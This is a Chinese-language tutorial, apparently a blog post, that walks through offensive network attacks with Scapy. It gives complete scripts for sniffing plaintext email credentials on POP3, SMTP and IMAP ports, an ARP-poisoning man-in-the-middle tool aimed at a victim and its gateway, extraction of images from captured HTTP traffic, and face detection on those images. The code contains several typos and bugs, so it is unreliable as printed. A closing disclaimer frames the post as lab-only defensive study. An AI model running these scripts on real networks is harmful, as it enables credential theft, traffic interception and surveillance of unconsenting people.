Scapy 是一个用来解析底层网络数据包的Python模块和交互式程序，该程序对底层包处理进行了抽象打包，使得对网络数据包的处理非常简便。该类库可以在在网络安全领域有非常广泛用例，可用于漏洞利用开发、数据泄露、网络监听、入侵检测和流量的分析捕获的。Scapy与数据可视化和报告生成集成，可以方便展示起结果和数据。
我们会先简单尝试一下，用Scapy嗅探流量，从中窃取明文的邮箱身份凭证。然后对网络中的攻击目标进行ARP投毒，以此嗅探它们的网络流量。最后，我们会演示如何借助Scapy的pcap数据处理能力，从嗅探到的HTTP流量中提取图片，并运用面部识别算法来判断其是否为人像照片。
窃取邮箱身份凭证：
Scapy提供了一个名字简明扼要的接口函数sniff，它的定义是这样的：
sniff(filter = " ", iface = "any", prn = function, count = N)
filter参数允许你指定一个Berkeley数据包过滤器（Berkeley Packet Filter，BPF），用于过滤Scapy嗅探到的数据包，也可以将此参数留空，表示要嗅探所有的数据包。
iface参数用于指定嗅探器要嗅探的网卡，如果不设置的话，默认会嗅探所有网卡。prn参数用于指定一个回调函数，每当遇到符合过滤条件的数据包时，嗅探器就会将该数据包传给这个回调函数，这是该函数接受的唯一参数。count参数可以用来指定你想嗅探多少包，如果留空的话，Scapy就会一直嗅探下去。
mail_sniffer.py:
from scapy.all import sniff def packet_callback(packet): print(packet.show()) def main(): sniff(pro=packet_callback, count=1) if __name__ == '__main__': main()
在这个简单的嗅探器中，它只会嗅探邮箱协议相关的命令。
接下来我们将添加过滤器和回调函数代码，有针对性地捕获和邮箱账号认证相关的数据。
首先，我们将设置一个包过滤器，确保嗅探器只展示我们感兴趣的包。我们会使用BPF语法（也被称为Wireshark风格的语法）来编写过滤器。你可能会在tcpdump、Wireshark等工具中用到这种语法。先来讲一下基本的BPF语法。在BPF语法中，可以使用三种类型的信息：描述词（比如一个具体的主机地址、网卡名称或端口号）、数据流方向和通信协议，如图所示。你可以根据自己想找的数据，自由地添加或省略某个类型、方向或协议。
我们先写一个BPF：
from scapy.all import sniff, TCP, IP #the packet callback def packet_callback(packet): if packet[TCP].payload: mypacket = str(packet[TCP].paylaod) if 'user' in mypacket.lower() or 'pass' in mypacket.lower(): print(f"[*] Destination: {packet[IP].dst}") print(f"[*] {str(packet[TCP].payload)}") def main(): #fire up the sniffer sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',prn=packet_callback, store=0)#监听邮件协议常用端口#新参数store，把它设为0以后，Scapy就不会将任何数据包保留在内存里 if __name__ == '__main__': main()
ARP投毒攻击：
逻辑：欺骗目标设备，使其相信我们是它的网关；然后欺骗网关，告诉它要发给目标设备的所有流量必须交给我们转发。网络上的每一台设备，都维护着一段ARP缓存，里面记录着最近一段时间本地网络上的MAC地址和IP地址的对应关系。为了实现这一攻击，我们会往这些ARP缓存中投毒，即在缓存中插入我们编造的记录。
注意实验的目标机为mac
arper.py：
from multiprocessing import Process from scapy.all import (ARP, Ether, conf, get_if_hwaddr, send, sniff, sndrcv, srp, wrpcap) import os import sys import time def get_mac(targetip): packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip) resp, _= srp(packet, timeout=2, retry=10, verbose=False) for _, r in resp: return r[Ether].src return None class Arper: def __init__(self, victim, gateway, interface='en0'): self.victim = victim self.victimmac = get_mac(victim) self.gateway = gateway self.gatewaymac = get_mac(gateway) self.interface = interface conf.iface = interface conf.verb = 0 print(f'Initialized {interface}:') print(f'Gateway ({gateway}) is at {self.gateway}') print(f'Victim ({victim}) is at {self.gatewaymac}') print('_'*30) def run(self): self.poison_thread = Process(target=self.poison) self.poison_thread.start() self.sniff_thread = Process(target=self.sniff) self.sniff_thread.start() def poison(self): poison_victim = ARP() poison_victim.op = 2 poison_victim.psrc = self.gateway poison_victim.pdst = self.victim poison_victim.hwdst = self.victimmac print(f'ip src: {poison_victim.psrc}') print(f'ip dst: {poison_victim.pdst}') print(f'mac dst: {poison_victim.hwdst}') print(f'mac src: {poison_victim.hwsrc}') print(poison_victim.summary()) print('_'*30) poison_gateway = ARP() poison_gateway.op = 2 poison_gateway.psrc = self,victim poison_gateway.pdst = self.gateway poison_gateway.hwdst = self.gatewaymac print(f'ip src: {poison_gateway.psrc}') print(f'ip dst: {poison_gateway.pdst}') print(f'mac dst: {poison_gateway.hwdst}') print(f'mac_src: {poison_gateway.hwsrc}') print(poison_gateway.summary()) print('_'*30) print(f'Beginning the ARP poison. [CTRL -C to stop]') while True: sys.stdout.write('.') sys.stdout.flush() try: send(poison_victim) send(poison_gateway) except KeyboardInterrupt: self.restore() sys.exit() else: time.sleep(2) def sniff(self, count=200): time.sleep(5) print(f'Sniffing {count} packets') bpf_filter = "ip host %s" % victim packets = sniff(count=count, filter=bpf_filter, ifcae=self.interface) wrpcap('arper.pcap', packets) print('Got the packets') self.restore() self.poison_thread.terminate() print('Finished') def restore(self): print('Restoring ARP tables...') send(ARP( op=2, psrc=self.gateway, hwsrc=self.gatewaymac, pdst=self.victim, hwdst='ff:ff:ff:ff:ff:ff'), count=5) send(ARP( op=2, psrc=self.victim, hwsrc=self.victimmac, pdst=self.gateway, hwdst='ff:ff:ff:ff:ff:ff'), count=5) if __name__ == '__main__': (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3]) myarp = Arper(victim, gateway, interface) myarp.run()
pcap文件处理：
recapper.py：
from scapy.all import TCP, rdpcap import collections import os import re import sys import zlib OUTDIR = '/root/Desktop/pictures' PCAPS = '/root/Downloads' Response = collections.namedtuple('Response', ['header','payload']) def get_header(payload): try: header_raw = payload[:payload.index(b'\r\n\r\n')+2] except ValueError: sys.stdout.write('_') sys.stdout.flush() return None header = dict(re.findall(r'?P<name>.*?): (?P<value>.*?)\r\n', header_raw.decode())) if 'Content-Type' not in header: return None return header def extract_content(Response, content_name='image'): content, content_type = None, None if content_name in Response.header['Content-Type']: content_type = Response.header['Content-Type'].split('/')[1] content = Response.payload[Response.payload.index(b'\r\n\r\n')+4:] if 'Content-Encoding' in Response.header: if Response.header['Content-Encoding'] == "gzip": content = zlib.decompress(Response.payload, zlib.MAX_wbits | 32) elif Response.header['Content-Encoding'] == "deflate": content = zlib.decompress(Response.payload) return content, content_type class Recapper: def __init__(self, fname): pcap = rdpcap(fname) self.session = pcap.session() self.responses = list() def get_responses(self): for session in self.session: payload = b'' for packet in self.session[session]: try: if packet[TCP].dport == 80 or packet[TCP].sport == 80: payload += bytes(packet[TCP].payload) except IndexError: sys.stdout.write('x') sys.stdout.flush() if payload: header = get_header(payload) if header is None: continue self.responses.append(Response(header=header, payload=payload)) def write(self, content_name): for i, response in enumerate(self.responses): content, content_type = extract_content(response, content_name) if content and content_type: fname = os.path.join(OUTDIR, f'ex_{i}.{content_type}') print(f'Writing {fname}') with open(fname, 'wb') as f: f.write(content) if __name__ == '__main__': pfile = os.path.join(PCAPS, 'pcap.pcap') recapper = Recapper(pfile) recapper.get_responses() recapper.write('image')
如果我们得到了一张图片，那么我们就要对这张图片进行分析，检查每张图片来确认里面是否存在人脸。对每张含有人脸的图片，我们会在人脸周围画一个方框，然后另存为一张新图片。
detector.py：
import cv2 import os ROOT = '/root/Desktop/pictures' FACES = '/root/Desktop/faces' TRAIN = '/root/Desktop/training' def detect(srcdir=ROOT, tgtdir=FACES, train_dir=TRAIN): for fname in os.listdir(srcdir): if not fname.upper().endswith('.JPG'): continue fullname = os.path.join(srcdir, fname) newname = os.path.join(tgtdir, fname) img = cv2.imread(fullname) if img is None: continue gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) training = os.path.join(train_dir, 'haarcascade_frontalface_alt.xml') cascade = cv2.CascadeClassifier(training) rects = cascade.detectMultiScale(gray, 1.3,5) try: if rects.any(): print('Got a face') rects[:, 2:] += rects[:, :2] except AttributeError: print(f'No faces fount in {fname}') continue # highlight the faces in the image for x1, y1, x2, y2 in rects: cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2) cv2.imwrite(newname, img) if name == '__main__': detect()
到这里，我们的实验目标已经完成。对于其中的脚本我们可以扩展更多的内容，请大家自行发挥。
本人所有文章均为技术分享，均用于防御为目的的记录，所有操作均在实验环境下进行，请勿用于其他用途，否则后果自负。